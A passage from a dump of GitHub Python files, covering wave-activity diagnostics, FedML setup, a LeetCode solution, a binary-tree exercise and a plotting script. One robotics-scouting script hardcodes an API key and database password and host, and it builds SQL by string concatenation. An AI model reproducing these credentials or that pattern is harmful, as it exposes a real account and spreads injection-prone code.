if not is_trainable:\n model.requires_grad_(False) # fix all model params\n model = model.half() if model_args.quantization_bit is None else model # cast from fp32 to fp16\n\n print_trainable_params(model)\n\n return model, tokenizer\n","repo_name":"morecry/CharacterChat","sub_path":"model/LLaMA-Efficient-Tuning/src/llmtuner/tuner/core/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"62"} +{"seq_id":"13431034351","text":"import numpy as np\nimport qg_transform as qgt\nimport scipy.ndimage.interpolation as interp\n\ndef wrap_field_NS(field, border_y):\n \"\"\"Expland a doubly-periodic field in Northern and Sothern borders\n \n Args:\n field: 2d numpy array with shape (num_lats, num_lons)\n border_y: width of the fields that add to NS borders\n \n Returns:\n expand_field: 2d numpy array with shape \n (num_lats+2*border_y, num_lons)\n \"\"\"\n num_lats, num_lons = field.shape\n expand_field = np.zeros((num_lats+2*border_y, num_lons))\n expand_field[:border_y,:] = field[-border_y:,:]\n expand_field[border_y:-border_y,:] = field\n expand_field[-border_y:,:] = field[:border_y,:]\n return expand_field\n\ndef wave_activity_op(vor_org, num_levels, fields=None, zoom=4, border_y=128, beta=1.0):\n \"\"\"Wave activity operator. The domain is [0, 2*pi]x[0, 2*pi]\n \n Args:\n vor_org: 2d (relative vorticity) field in physical space. Shape (lat, lon)\n potential vorticity is vor_org + beta*y\n num_levels: integer, number of contour levels\n *fields (optional): variable number of other fields\n zoom: integer, the factor of interpolation field to higher resolution\n border_y: add fields of width `border_y` to the Northern and Southern\n boundaries, and throw away them after done calculation\n beta: float\n \n Returns:\n pvg_mean: Lagrangian-mean pvg\n pvg_A: wave activity for pvg\n fields_mean(optional): Lagrangian-mean along pvg for `*fields`\n As (optional): wave activitiesfor `*fields1`\n \n See:\n Finite-Amplitude Wave Activity and Diffusive Flux of Potential Vorticity\n in Eddy-Mean Flow Interaction, Nakamura and Zhu, 2010\n \"\"\"\n pvg = interp.zoom(vor_org, zoom, mode='wrap')\n unwrap_num_lats = pvg.shape[0]\n pvg = wrap_field_NS(pvg, border_y)\n num_lats, num_lons = pvg.shape\n num_wrap_levels = int(np.floor(float(border_y)/float(unwrap_num_lats)*num_levels))\n num_levels += num_wrap_levels*2\n dy = 2*np.pi/unwrap_num_lats\n dx = 2*np.pi/pvg.shape[1]\n ys = np.linspace(-border_y*dy, (border_y+unwrap_num_lats-1)*dy,\n num_lats)\n pvg += (beta*ys)[:,np.newaxis]\n pvg1d = pvg.flatten().copy()\n num_points = pvg1d.size\n dn = num_points//num_levels\n n0 = num_points - dn*num_levels\n \n idx = np.argsort(pvg1d)\n pvg1d_sorted = pvg1d[idx]\n del pvg1d\n \n int_pv_contour = np.zeros(num_levels)\n int_pv_lateq = np.zeros(num_levels)\n int_fields_contour = []\n int_fields_lateq = []\n fields_sorted = []\n fields_mean = []\n for i_field in fields:\n field = wrap_field_NS(interp.zoom(i_field, zoom, mode='wrap'), border_y)\n fields_sorted.append(field.flatten()[idx])\n int_fields_contour.append(np.zeros(num_levels))\n int_fields_lateq.append(np.zeros(num_levels))\n fields_mean.append(np.zeros(num_levels))\n\n last_lat_eq = 0\n last_points_within = 0\n pvg_mean = np.zeros(num_levels)\n for i in range(num_levels):\n points_within = n0 + (i+1)*dn\n lat_eq = points_within//num_lons\n pvg_mean[i] = pvg1d_sorted[points_within-1]\n \n int_pv_contour[i] = pvg1d_sorted[last_points_within:points_within].sum()\n int_pv_lateq[i] = pvg[last_lat_eq:lat_eq].sum()\n for j in range(len(fields)):\n int_fields_contour[j][i] = fields_sorted[j][last_points_within:points_within].sum()\n fields_mean[j][i] = int_fields_contour[j][i]/(points_within-last_points_within)\n int_fields_lateq[j][i] = fields[j][last_lat_eq:lat_eq].sum()\n \n last_lat_eq = lat_eq\n last_points_within = points_within\n pvg_A = -np.cumsum(int_pv_contour - int_pv_lateq)\n As = []\n pvg_mean = pvg_mean[num_wrap_levels:-num_wrap_levels].copy()\n \n frac_dS_Lx = dx*dy/2/np.pi\n pvg_A = pvg_A[num_wrap_levels:-num_wrap_levels].copy()*frac_dS_Lx\n for i in range(len(fields)):\n As.append(\n (-np.cumsum(int_fields_contour[i] - int_fields_lateq[i]))\n [num_wrap_levels:-num_wrap_levels]*frac_dS_Lx)\n fields_mean[i] = fields_mean[i][num_wrap_levels:-num_wrap_levels].copy()\n if As:\n return pvg_mean, pvg_A, fields_mean, As\n else:\n return pvg_mean, pvg_A\n\ndef time_mean_wave_activity_op(pvg, num_levels, fields=None, zoom=4, border_y=128, beta=1.0):\n \"\"\"Wave activity operator. The area of each grid is 1\n First apply wave_activity_op to a snapshot, then time average the snapshots\n \n Args:\n pvg: 3d (potential vorticity) field in physical space. Shape (time, lat, lon)\n num_levels: integer, number of contour levels\n *fields (optional): variable number of other fields\n zoom: integer, the factor of interpolation field to higher resolution\n border_y: add fields of width `border_y` to the Northern and Southern\n boundaries, and throw away them after done calculation\n \n Returns:\n pvg_mean: Lagrangian-mean pvg\n pvg_A: wave activity for pvg\n fields_mean(optional): Lagrangian-mean along pvg for `*fields`\n As (optional): wave activitiesfor `*fields1`\n \n See:\n Finite-Amplitude Wave Activity and Diffusive Flux of Potential Vorticity\n in Eddy-Mean Flow Interaction, Nakamura and Zhu, 2010\n \"\"\"\n if pvg.ndim != 3:\n raise TypeError('only work for field with shape (time, lat, lon)')\n num_t = pvg.shape[0]\n if fields is not None:\n num_fields = len(fields)\n else:\n num_fields = 0\n pvg_mean = np.zeros(num_levels)\n pvg_A = np.zeros(num_levels)\n fields_mean = []\n As = []\n for i in range(num_fields):\n fields_mean.append(np.zeros(num_levels))\n As.append(np.zeros(num_levels))\n for t in range(num_t):\n curr_fields = []\n for i in range(num_fields):\n curr_fields.append(fields[i][t])\n vals = wave_activity_op(pvg[t], num_levels, curr_fields, \n zoom, border_y, beta)\n pvg_mean += vals[0]\n pvg_A += vals[1]\n for i in range(num_fields):\n fields_mean[i] += vals[2][i]\n As[i] += vals[3][i]\n pvg_mean /= num_t\n pvg_A /= num_t\n for i in range(num_fields):\n fields_mean[i] /= num_t\n As[i] /= num_t\n if fields:\n return pvg_mean, pvg_A, fields_mean, As\n else:\n return pvg_mean, pvg_A\n\nclass TwoLayerWaveActivity(object):\n \"\"\"analysis finite wave activity budget in a two layer model\"\"\"\n def __init__(self, psic, para_dict):\n \"\"\"\n Args:\n psic: stream function spectrum with shape (time, ky, kx, z)\n para_dict: a dictionary of parameters with keys. For example\n 'beta': \n 'F':\n 'bot_drag':\n 'U': 1\n 'dt_tune': 0.3\n 'filter_exp': 4\n 'dealiasing':'orszag'\n 'filter_exp': 4\n 'filter_tune':1\n \"\"\"\n kmax = psic.shape[1] - 1\n self._psic = psic\n self._ntime = psic.shape[0]\n if psic.shape[3] != 2:\n raise ValueError('Only work for 2-layer model')\n\n default_para = {'U': 1,\n 'dt_tune' : 0.3,\n 'filter_exp' : 4,\n 'dealiasing' :'orszag',\n 'filter_tune': 1.0,\n 'filter_type': 'hyperviscous',\n 'Nexp' : 1.0,\n 'kmax' : kmax}\n self.params = default_para\n for k in para_dict:\n self.params[k] = para_dict[k]\n \n pvc = qgt.get_PV(psic, self.params['F'])\n vorc= qgt.get_vorticity(psic)\n tauc= 0.5*(psic[...,0]-psic[...,1])\n self._pvg = qgt.spec2grid(pvc)\n self._dt = qgt.time_step(pvc, self.params['dt_tune'], \n self.params['beta'], kmax)\n self._dt.shape = self._dt.shape + (1,1,1)\n filter_rate2d = qgt.hypervis_filter_rate(kmax, 1.0, \n self.params['filter_tune'], self.params['filter_exp'], \n self.params['dealiasing'], self.params['filter_type'],\n self.params['Nexp'])\n filter_rate2d.shape = (1,) + filter_rate2d.shape + (1,)\n hyp_visc = pvc*filter_rate2d/self._dt\n self._hyp_visg = qgt.spec2grid(hyp_visc)\n self._hyp_vorg = qgt.spec2grid(vorc*filter_rate2d/self._dt)\n self._hyp_btvorg = qgt.spec2grid(\n np.mean(vorc, -1)*filter_rate2d[...,0]/self._dt[...,0])\n self._hyp_taug = qgt.spec2grid(\n tauc*filter_rate2d[...,0]/self._dt[...,0])\n \n self._num_lats = self._pvg.shape[1]\n self._UY = 4*self.params['F']*np.linspace(-np.pi, np.pi, self._num_lats)[:,np.newaxis]\n self._BETAY = self.params['beta']*np.linspace(-np.pi, np.pi, self._num_lats)[:,np.newaxis]\n self._eqlats = self._num_lats\n \n def cal_barotropic(self):\n bt_vor = np.mean(self._pvg, -1)\n lower_vorg = qgt.spec2grid(qgt.get_vorticity(self._psic[...,1]))\n tauc = 0.5*(self._psic[...,0]-self._psic[...,1])\n minus_J_tau_vortau = -qgt.jacobian(tauc, qgt.laplacian(tauc))\n minus_U_vor_dtaudx = -self.params['U']*qgt.spec2grid(\n qgt.laplacian(qgt.partial_x(tauc)))\n mean_btpv, btpv_A, fs, As = time_mean_wave_activity_op(bt_vor, \n self._eqlats, \n [self._hyp_btvorg, minus_J_tau_vortau, \n -self.params['bot_drag']*lower_vorg/2,\n minus_U_vor_dtaudx], beta=self.params['beta'])\n self.lang_btpv = mean_btpv\n self.A_btpv = btpv_A\n self.hypvis_btpv = As[0]\n self.lang_hypvis_btpv = fs[0]\n self.mJ_tau_vortau = As[1]\n self.lang_mJ_tau_vortau = fs[1]\n self.drag_btpv = As[2]\n self.lang_drag_btpv = fs[2]\n self.mU_vor_dtaudx = As[3]\n self.lang_mU_vor_dtaudx = fs[3]\n \n def cal_upperlayer(self):\n lang_pv1 = np.zeros(self._eqlats)\n A_pv1 = np.zeros(self._eqlats)\n hypvis_pv1 = np.zeros(self._eqlats)\n hypvis_vor1= np.zeros(self._eqlats)\n hypvis_tau1= np.zeros(self._eqlats)\n for t in range(self._ntime):\n curr_pv1, curr_A, _, curr_hyvis = wave_activity_op(\n self._pvg[t,...,0]+self._UY+self._BETAY, self._eqlats, \n self._hyp_visg[t,...,0], self._hyp_vorg[t,...,0],\n self._hyp_taug[t]*2*self.params['F'])\n lang_pv1 += curr_pv1\n A_pv1 += curr_A\n hypvis_pv1 += curr_hyvis[0]\n hypvis_vor1+= curr_hyvis[1]\n hypvis_tau1+= curr_hyvis[2]\n \n self.lang_pv1 = lang_pv1/self._ntime\n self.A_pv1 = A_pv1/self._ntime\n self.hypvis_pv1 = hypvis_pv1/self._ntime\n self.hypvis_vor1= hypvis_vor1/self._ntime\n self.hypvis_tau1 = hypvis_tau1/self._ntime\n \n def cal_lowerlayer(self):\n lang_pv2 = np.zeros(self._eqlats)\n A_pv2 = np.zeros(self._eqlats)\n hypvis_pv2 = np.zeros(self._eqlats)\n drag_pv2 = np.zeros(self._eqlats)\n hypvis_vor2= np.zeros(self._eqlats)\n hypvis_tau2= np.zeros(self._eqlats)\n \n vorc_lower = qgt.laplacian(self._psic[...,1])\n vorg_drag = -self.params['bot_drag']*qgt.spec2grid(vorc_lower)\n for t in range(self._ntime):\n curr_pv2, curr_A, _, budgets = wave_activity_op(\n -(self._pvg[t,...,1]-self._UY+self._BETAY), self._eqlats, \n self._hyp_visg[t,...,1], vorg_drag[t],\n self._hyp_vorg[t,...,1],\n -self._hyp_taug[t]*2*self.params['F'])\n lang_pv2 += curr_pv2\n A_pv2 += curr_A\n hypvis_pv2 += budgets[0]\n drag_pv2 += budgets[1]\n hypvis_vor2 += budgets[2]\n hypvis_tau2 += budgets[3]\n self.lang_pv2 = -lang_pv2/self._ntime\n self.A_pv2 = A_pv2/self._ntime\n self.hypvis_pv2 = hypvis_pv2/self._ntime\n self.drag_pv2 = drag_pv2/self._ntime\n self.hypvis_vor2 = hypvis_vor2/self._ntime\n self.hypvis_tau2 = hypvis_tau2/self._ntime\n\nclass OneLayerWaveActivity(object):\n \"\"\"analysis finite wave activity budget in a 1-layer barotropic model (F=0)\"\"\"\n def __init__(self, psic, para_dict):\n \"\"\"\n Args:\n psic: stream function spectrum with shape (time, ky, kx)\n para_dict: a dictionary of parameters with keys. For example\n 'beta': \n 'bot_drag':\n 'dt_tune': 0.3\n 'filter_exp': 4\n 'dealiasing':'orszag'\n 'filter_exp': 4\n 'filter_tune':1\n \"\"\"\n kmax = psic.shape[1] - 1\n self._psic = psic\n self._ntime = psic.shape[0]\n if psic.ndim != 3:\n raise ValueError('Only work for 1-layer model')\n\n default_para = {'U': 1,\n 'dt_tune' : 0.3,\n 'filter_exp' : 4,\n 'dealiasing' :'orszag',\n 'filter_tune': 1.0,\n 'filter_type': 'hyperviscous',\n 'Nexp' : 1.0,\n 'kmax' : kmax}\n self.params = default_para\n for k in para_dict:\n self.params[k] = para_dict[k]\n \n self._vorc= qgt.get_vorticity(psic)\n self._dt = qgt.time_step(self._vorc, self.params['dt_tune'], \n self.params['beta'], kmax)\n self._dt.shape = self._dt.shape + (1,1)\n filter_rate2d = qgt.hypervis_filter_rate(kmax, 1.0, \n self.params['filter_tune'], self.params['filter_exp'], \n self.params['dealiasing'], self.params['filter_type'],\n self.params['Nexp'])\n filter_rate2d.shape = (1,) + filter_rate2d.shape\n hyp_visc = self._vorc*filter_rate2d/self._dt\n self._hyp_visg = qgt.spec2grid(hyp_visc)\n \n def cal_barotropic(self, num_equlats=1024, rm_forcing=None, vorg=None, **args):\n if vorg is None:\n self._vorg = qgt.spec2grid(self._vorc)\n else:\n self._vorg = vorg\n if rm_forcing is not None:\n rm_forc_g = qgt.spec2grid(rm_forcing)\n mean_btpv, btpv_A, fs, As = time_mean_wave_activity_op(self._vorg, \n num_equlats, \n [self._hyp_visg,\n -self.params['bot_drag']*self._vorg,\n rm_forc_g], \n beta=self.params['beta'], **args)\n else:\n mean_btpv, btpv_A, fs, As = time_mean_wave_activity_op(self._vorg, \n num_equlats, \n [self._hyp_visg,\n -self.params['bot_drag']*self._vorg], \n beta=self.params['beta'], **args)\n self.lang_btpv = mean_btpv\n self.A_btpv = btpv_A\n self.hypvis_btpv = As[0]\n self.drag_btpv = As[1]\n self.lang_drag_btpv = fs[1]\n if rm_forcing is not None:\n self.rm_forc = As[2]\n\ndef vorflux_1d(bt_psi):\n \"\"\"\n Args:\n bt_psi: 3d numpy array with shape (time, ky, kx)\n \"\"\"\n vg = qgt.spec2grid(qgt.get_velocities(bt_psi)[1])\n vorg = qgt.spec2grid(qgt.get_vorticity(bt_psi))\n return np.mean(np.mean(vg*vorg, 0), -1)\n\ndef dfdy(fs, dy=None):\n \"\"\"1th derivative of an array fs\n Args:\n fs: 1d numpy array.\n dy: spacing\n Returns:\n d: 1d numpy array with the same shape as fs\n \"\"\"\n if dy is None:\n dy = 2*np.pi/fs.size\n d = np.zeros_like(fs)\n d[1:-1] = (fs[2:] - fs[:-2])/2/dy\n d[0] = (fs[1] - fs[0])/dy\n d[-1] = (fs[-1] - fs[-2])/dy\n return d","repo_name":"mathsam/fluid_dynamics_analysis","sub_path":"lib/noboru/finite_amp_diag.py","file_name":"finite_amp_diag.py","file_ext":"py","file_size_in_byte":15853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"27984270595","text":"import logging\n\nfrom mpi4py import MPI\n\nfrom .FedMedGanAggregator import FedMedGanAggregator\nfrom .FedMedGanTrainer import FedMedGanTrainer\nfrom .FedMedGanClientManager import FedMedGanClientManager\nfrom .FedMedGanServerManager import FedMedGanServerManager\nfrom .MyModelTrainer import MyModelTrainer\n\n\ndef FedML_init():\n comm = MPI.COMM_WORLD\n process_id = comm.Get_rank()\n worker_number = comm.Get_size()\n return comm, process_id, worker_number\n\n\ndef FedML_FedMedGan_distributed(process_id, worker_number, device, comm, model, train_data_global, test_data_global,\n train_data_local_num_dict, train_data_local_dict, test_data_local_dict, args, model_trainer=None):\n\n if process_id == 0:\n init_server(args, device, comm, process_id, worker_number, model, model_trainer, train_data_global, test_data_global)\n else:\n init_client(args, device, comm, process_id, worker_number, model, train_data_local_num_dict,\n train_data_local_dict, test_data_local_dict, model_trainer)\n\n\ndef init_server(args, device, comm, rank, size, model, model_trainer, train_data_global, test_data_global):\n logging.info('Initializing Server')\n\n if model_trainer is None:\n model_trainer = MyModelTrainer(model, -1, args)\n\n # aggregator\n worker_num = size - 1\n aggregator = FedMedGanAggregator(worker_num, device, model, args, model_trainer, train_data_global, test_data_global)\n\n # start the distributed training\n server_manager = FedMedGanServerManager(args, aggregator, comm, rank, size)\n server_manager.send_init_msg()\n server_manager.run()\n\n\ndef init_client(args, device, comm, process_id, size, model, train_data_local_num_dict,\n train_data_local_dict, test_data_local_dict, model_trainer):\n \n client_index = process_id - 1\n logging.info('Initializing Client: {0}'.format(client_index))\n\n if model_trainer is None:\n model_trainer = MyModelTrainer(model, client_index, args)\n\n # trainer\n trainer = FedMedGanTrainer(client_index, train_data_local_dict, train_data_local_num_dict, test_data_local_dict, device,\n args, model_trainer)\n client_manager = FedMedGanClientManager(args, trainer, comm, process_id, size)\n client_manager.run()\n","repo_name":"tommy-qichang/DSL_All_Code","sub_path":"FedML/fedml_api/distributed/fedmedgan/FedMedGanAPI.py","file_name":"FedMedGanAPI.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"40105367720","text":"from bisect import bisect_left, bisect_right, insort_left, insort_right, insort, bisect\nfrom math import ceil, floor, pow, gcd, sqrt, log10, fabs, fmod, factorial, inf, pi, e\nfrom heapq import heapify, heapreplace, heappush, heappop, heappushpop, nlargest, nsmallest\nfrom collections import defaultdict, Counter, deque\nfrom itertools import permutations, combinations, combinations_with_replacement, accumulate, count, groupby\nfrom queue import PriorityQueue, Queue, LifoQueue\nfrom functools import lru_cache\nimport sys\nfrom typing import List\n\nsys.setrecursionlimit(10001000)\n\nMOD = int(1e9 + 7)\nINF = int(1e20)\nINFMIN = float('-inf')\nINFMAX = float('inf')\nPI = 3.141592653589793\ndirec = [(1, 0), (0, 1), (-1, 0), (0, -1)]\ndirec8 = [(1, 0), (0, 1), (-1, 0), (0, -1), (1, 1), (1, -1), (-1, 1), (-1, -1)]\nALPS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\nalps = 'abcdefghijklmnopqrstuvwxyz'\n\ndef alp(i):\n return chr(ord('a') + i % 26) # i=0->'a', i=25->'z'\n\ndef input():\n return sys.stdin.readline().rstrip()\n\ndef end(r=-1):\n print(r)\n exit()\n\n# -*- coding: utf-8 -*-\n# @Author : wheat\n# @Time : 2023/04/03 14:36\n# https://leetcode.cn/contest/weekly-contest-338/problems/minimum-operations-to-make-all-array-elements-equal/\n\nclass Solution:\n def minOperations(self, nums: List[int], queries: List[int]) -> List[int]:\n nums = sorted(nums)\n n = len(nums)\n pre_sum = [0]\n for t in nums:\n pre_sum.append(pre_sum[-1] + t)\n to_ret = []\n for t in queries:\n pt = bisect(nums, t + .1)\n part_1 = t * pt - pre_sum[pt]\n part_2 = (pre_sum[-1] - pre_sum[pt]) - t * (n - pt)\n to_ret.append(part_1 + part_2)\n\n return to_ret\n","repo_name":"hakusai22/Algorithm-study","sub_path":"算法比赛/LeetCode周赛/第338场周赛/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"13266605572","text":"import mysql.connector as mariaDB\nimport tbapy\nimport datetime\n\ntba = tbapy.TBA('Tfr7kbOvWrw0kpnVp5OjeY780ANkzVMyQBZ23xiITUkFo9hWqzOuZVlL3Uy6mLrz')\ncurrentYear = datetime.datetime.today().year\n\n\ndef onlyascii(s):\n return \"\".join(i for i in s if ord(i) < 128 and ord(i) != 39)\n\n\nconn = mariaDB.connect(user='admin',\n passwd='Einstein195',\n host='frcteam195.cmdlvflptajw.us-east-1.rds.amazonaws.com',\n database='team195_scouting')\ncursor = conn.cursor()\ntotalTeams = tba.teams(year=currentYear)\nteamList = []\n\nfor team in totalTeams:\n tempNick = ''\n teamNum = team.get('team_number')\n cityState = str(team.city) + ' ' + str(team.state_prov) + ' ' + str(team.country)\n queryLocation = ''\n tempNick = onlyascii(team.nickname)\n if len(tempNick) > 50:\n tempNick = tempNick[:40]\n queryLocation = onlyascii(cityState)\n if len(queryLocation) > 50:\n queryLocation = queryLocation[:40]\n query = \"INSERT INTO Teams (Team, TeamName, TeamLocation) VALUES \" + \"('\" + str(team.team_number) + \\\n \"','\" + str(tempNick) + \"','\" + str(queryLocation) + \"');\"\n print(query)\n cursor.execute(query)\n conn.commit()\n","repo_name":"frcteam195/scouting_python","sub_path":"BA/TotalTeamList.py","file_name":"TotalTeamList.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9528896227","text":"# https://www.interviewcake.com/question/python3/balanced-binary-tree?course=fc1§ion=trees-graphs\nimport unittest\n\nMAX_NODE_DEPTH = 0\nMIN_NODE_DEPTH = float('inf')\n\n\ndef calculateDepth(node, parent_depth) -> None:\n global MAX_NODE_DEPTH\n global MIN_NODE_DEPTH\n\n if not node:\n return\n if not node.left and not node.right:\n # leaf node! calculate the depth\n node_depth = parent_depth + 1\n MAX_NODE_DEPTH = max(MAX_NODE_DEPTH, node_depth)\n MIN_NODE_DEPTH = min(MIN_NODE_DEPTH, node_depth)\n else:\n calculateDepth(node.left, parent_depth+1)\n calculateDepth(node.right, parent_depth+1)\n\n\ndef is_balanced(tree_root):\n\n # Determine if the tree is superbalanced\n # A tree is superbalanced if the difference between the depths of any two leaf nodes is no greater than one.\n \"\"\"\n * Have a variable called max_leaf_node_depth, which saves the greatest depth of any leaf node from the tree.\n * Have a variable called min_leaf_node_depth that saves the smallest depth of any leaf node from the tree.\n * Have a function called calculateDepth(node, parent_depth) to calculate the depth of any node in the tree.\n If the node is a leaf node, its depth = parent_depth + 1. Compare that value to max_leaf_node_depth and\n min_leaf_node_depth as:\n max_leaf_node_depth = max(node_depth, max_leaf_node_depth)\n min_leaf_node_depth = min(node_depth, min_leaf_node_depth)\n - stop the iteration\n Otherwise:\n if node.left:\n calculateDepth(node.left, parent_depth + 1)\n if node.right:\n calculateDepth(node.right, parent_depth + 1)\n\n * return max_leaf_node_depth - min_leaf_node_depth <= 1\n\n \"\"\"\n # Edge case\n if not tree_root or (not tree_root.left and not tree_root.right):\n return True\n\n global MAX_NODE_DEPTH\n global MIN_NODE_DEPTH\n MAX_NODE_DEPTH = 0\n MIN_NODE_DEPTH = float('inf')\n\n calculateDepth(tree_root, 0)\n\n return MAX_NODE_DEPTH - MIN_NODE_DEPTH < 2\n\n\nclass Test(unittest.TestCase):\n\n class BinaryTreeNode(object):\n\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n def insert_left(self, value):\n self.left = Test.BinaryTreeNode(value)\n return self.left\n\n def insert_right(self, value):\n self.right = Test.BinaryTreeNode(value)\n return self.right\n\n def test_full_tree(self):\n tree = Test.BinaryTreeNode(5)\n left = tree.insert_left(8)\n right = tree.insert_right(6)\n left.insert_left(1)\n left.insert_right(2)\n right.insert_left(3)\n right.insert_right(4)\n result = is_balanced(tree)\n self.assertTrue(result)\n\n def test_both_leaves_at_the_same_depth(self):\n tree = Test.BinaryTreeNode(3)\n left = tree.insert_left(4)\n right = tree.insert_right(2)\n left.insert_left(1)\n right.insert_right(9)\n result = is_balanced(tree)\n self.assertTrue(result)\n\n def test_leaf_heights_differ_by_one(self):\n tree = Test.BinaryTreeNode(6)\n left = tree.insert_left(1)\n right = tree.insert_right(0)\n right.insert_right(7)\n result = is_balanced(tree)\n self.assertTrue(result)\n\n def test_leaf_heights_differ_by_two(self):\n tree = Test.BinaryTreeNode(6)\n left = tree.insert_left(1)\n right = tree.insert_right(0)\n right_right = right.insert_right(7)\n right_right.insert_right(8)\n result = is_balanced(tree)\n self.assertFalse(result)\n\n def test_three_leaves_total(self):\n tree = Test.BinaryTreeNode(1)\n left = tree.insert_left(5)\n right = tree.insert_right(9)\n right.insert_left(8)\n right.insert_right(5)\n result = is_balanced(tree)\n self.assertTrue(result)\n\n def test_both_subtrees_superbalanced(self):\n tree = Test.BinaryTreeNode(1)\n left = tree.insert_left(5)\n right = tree.insert_right(9)\n right_left = right.insert_left(8)\n right.insert_right(5)\n right_left.insert_left(7)\n result = is_balanced(tree)\n self.assertFalse(result)\n\n def test_both_subtrees_superbalanced_two(self):\n tree = Test.BinaryTreeNode(1)\n left = tree.insert_left(2)\n right = tree.insert_right(4)\n left.insert_left(3)\n left_right = left.insert_right(7)\n left_right.insert_right(8)\n right_right = right.insert_right(5)\n right_right_right = right_right.insert_right(6)\n right_right_right.insert_right(9)\n result = is_balanced(tree)\n self.assertFalse(result)\n\n def test_three_leaves_at_different_levels(self):\n tree = Test.BinaryTreeNode(1)\n left = tree.insert_left(2)\n left_left = left.insert_left(3)\n left.insert_right(4)\n left_left.insert_left(5)\n left_left.insert_right(6)\n right = tree.insert_right(7)\n right_right = right.insert_right(8)\n\n\nunittest.main(verbosity=2)\n","repo_name":"petercrackthecode/InterviewCake","sub_path":"balanced_binary_tree/my_recursive_solution.py","file_name":"my_recursive_solution.py","file_ext":"py","file_size_in_byte":5089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"20934708809","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 28 12:00:56 2018\n\n@author: labuser\n\"\"\"\n\n# Coulomb, Static, and MW field diagram\n# For Static Field Recombination Paper\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\ndef CoulMW():\n \"\"\"Produce a plot of the potential seen by an electron in a static field,\n along with an inset of the MW field as a function of time.\n Returns DataFrames potential, dlimit\n \"\"\"\n # Atomic units\n fAU1mVcm = 1.94469e-13\n enAU1GHz = 1.51983e-7\n # set up figure\n fig, ax = plt.subplots(figsize=(3.375, 3.375))\n ax2 = fig.add_axes([0.7, 0.45, 0.15, 0.4])\n zmax = 1000000\n xlims = (-zmax, zmax)\n ylims = (-100, 100)\n ax.set_ylim(ylims)\n ax.set_xlim(xlims)\n ylims = (-100, 100)\n ax.set_ylim(ylims)\n # Potential DataFrame\n f = 40*fAU1mVcm\n dz = zmax/10000\n potential = pd.DataFrame({\"z\": np.arange(-zmax, 0, dz)})\n potential = potential.append(\n pd.DataFrame({'z': np.arange(dz, zmax + dz, dz)}))\n potential['C'] = -1/(np.abs(potential[\"z\"]))/enAU1GHz\n potential['E'] = -f*potential['z']/enAU1GHz\n potential['V'] = potential['C'] + potential['E']\n # plot\n potential.plot(x=\"z\", y=\"V\", linewidth=2,\n label=r\"$-1/r - E_S \\cdot z$\", c='k', ax=ax)\n # beautify\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_xlabel(\"z\", fontsize=14)\n ax.set_ylabel(\"Energy\", fontsize=14)\n # Excitation and direction arrows\n ax.plot(0, 0, color='k', marker='o')\n arrowprops = {'width': 2, 'headwidth': 10, 'headlength': 10, 'color': 'C3'}\n ax.annotate(s=\"\", xy=(0, -10), xytext=(0, ylims[0]),\n arrowprops=arrowprops)\n arrowprops['color'] = 'C0'\n ax.annotate(s=\"\", xy=(xlims[0]*0.3, 0), xytext=(xlims[0]*0.05, 0),\n arrowprops=arrowprops)\n arrowprops['color'] = 'C1'\n ax.annotate(s=\"\", xy=(xlims[1]*0.3, 0), xytext=(xlims[1]*0.05, 0),\n arrowprops=arrowprops)\n # coordinate lines\n xlims = ax.get_xlim()\n ylims = ax.get_ylim()\n arrowprops['color'] = 'k'\n ax.annotate(s=\"\", xy=(xlims[1], ylims[0]), xytext=(xlims[0], ylims[0]),\n arrowprops=arrowprops)\n ax.annotate(s=\"\", xy=(xlims[0], ylims[1]), xytext=(xlims[0], ylims[0]),\n arrowprops=arrowprops)\n # MW Field\n ax2 = MW_field(ax2)\n # finalize figure\n ax.legend().remove()\n # ax.axis('off')\n for side in ['bottom', 'right', 'top', 'left']:\n ax.spines[side].set_visible(False)\n fig.tight_layout()\n plt.savefig(\"CoulMW.pdf\")\n plt.savefig(os.path.join(\"..\", \"CoulMW.pdf\"))\n return potential\n\n\ndef MW_field(ax):\n \"\"\"Inset MW field figure for CoulMW.pdf. Vertical time, horizontal MW field\n value.\"\"\"\n # figure\n # fig, ax = plt.subplots()\n xlims = (-1.2, 1.2)\n ylims = (-np.pi/3, (2+2/3)*np.pi)\n # build data\n df = pd.DataFrame()\n df['t'] = np.arange(-np.pi/6, 2*np.pi + np.pi/6, np.pi/180)\n df['f'] = -np.sin(df['t'])\n # plot\n df.plot(x='f', y='t', c='C5', ax=ax)\n # manual axis lines\n arrowprops = {'width': 1, 'headwidth': 10, 'headlength': 10, 'color': 'k'}\n ax.annotate(s=\"\", xy=(0, ylims[1]), xytext=(0, ylims[0]),\n arrowprops=arrowprops)\n ax.text(0, ylims[1] + np.pi/6, \"t\", fontsize=14,\n verticalalignment='bottom', horizontalalignment='center')\n ax.annotate(s=\"\", xy=(xlims[0], 0), xytext=(xlims[1], 0),\n arrowprops=arrowprops)\n ax.text(xlims[1]+0.1, 0, r\"$\\vec{E}_{MW}$\", fontsize=14,\n verticalalignment='center', horizontalalignment='left')\n # Es line\n ylims = (ylims[0]*3, ylims[1])\n ax.annotate(s=\"\", xy=(xlims[0], ylims[0]), xytext=(xlims[1], ylims[0]),\n arrowprops=arrowprops)\n ax.text(xlims[1]+0.1, ylims[0], r\"$\\vec{E}_S$\", fontsize=14,\n verticalalignment='center', horizontalalignment='left')\n # beautify\n ax.set(xlim=xlims, ylim=ylims)\n ax.legend().remove()\n ax.axis('off')\n # fig.tight_layout(rect=[0, 0, 0.9, 0.9])\n return ax\n\n\n# main:\nCoulMW()\n# fig, ax = plt.subplots()\n# 